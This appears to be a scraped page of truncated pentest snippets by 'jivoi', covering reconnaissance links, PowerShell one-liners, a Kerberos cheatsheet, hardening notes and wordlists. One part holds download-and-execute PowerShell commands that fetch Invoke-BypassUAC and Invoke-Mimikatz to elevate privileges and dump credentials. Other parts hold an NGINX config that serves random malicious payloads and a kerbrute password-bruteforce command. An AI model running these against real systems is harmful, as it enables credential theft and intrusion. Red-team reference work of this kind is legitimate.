jivoi

Penetrating Testing/Assessment Workflow & other fun infosec stuff

https://github.com/jivoi/pentest

My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*

• Reconnaissance
  • Passive/Semi-Passive
    • Tools
• Discover - https://github.com/leebaird/discover

jivoi

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands

jivoi

rss.php
coupon_activation.php
tools/bizproc_wf_settings.php
tools/seo_yandex.php
tools/seo_google.php
tools/get_catalog_menu.php
tools/sale_farm_check_print.php
tools/vote/uf.php
tools/vote/vote_chart.php
tools/sale/discount_coupon_list.php

jivoi

# Serving Random Payloads with NGINX
# add set_random module https://github.com/openresty/set-misc-nginx-module#set_random
# edit file /etc/nginx/sites-enabled/default

set_random $uri 1 3;

map $uri $payloads {
    1 /payload.lnk;
    2 /payload.hta;
    3 /payload.exe;

jivoi

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

jivoi

:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering. 
:: Obligatory 'views are my own'. :) 
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key! 
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:

jivoi

# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
#   has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>

# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse

# get the effective set of users who can administer a server

jivoi

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$367-Million-Merger-Blocked.html
$defaultnav
${idfwbonavigation}.xml
$_news.php
$search2
£º
.0

jivoi

     _  _____ ___  __  __ ___ ____   ____  _____ ____    _____ _____    _    __  __
    / \|_   _/ _ \|  \/  |_ _/ ___| |  _ \| ____|  _ \  |_   _| ____|  / \  |  \/  |
   / _ \ | || | | | |\/| || | |     | |_) |  _| | | | |   | | |  _|   / _ \ | |\/| |
  / ___ \| || |_| | |  | || | |___  |  _ <| |___| |_| |   | | | |___ / ___ \| |  | |
 /_/   \_\_| \___/|_|  |_|___\____| |_| \_\_____|____/    |_| |_____/_/   \_\_|  |_|



[********BEGIN TEST*******] Data Compressed T1002 has 3 Test(s)

jivoi

from shodan import Shodan
from shodan.helpers import open_file, write_banner
from shodan.cli.helpers import get_api_key
from sys import argv, exit

# Input validation
if len(argv) != 3:
	print('Usage: {} <IPs filename> <output.json.gz>'.format(argv[0]))
	print('Example: {} grizzly-ips.txt shodan-grizzly.json.gz'.format(argv[0]))
	exit(1)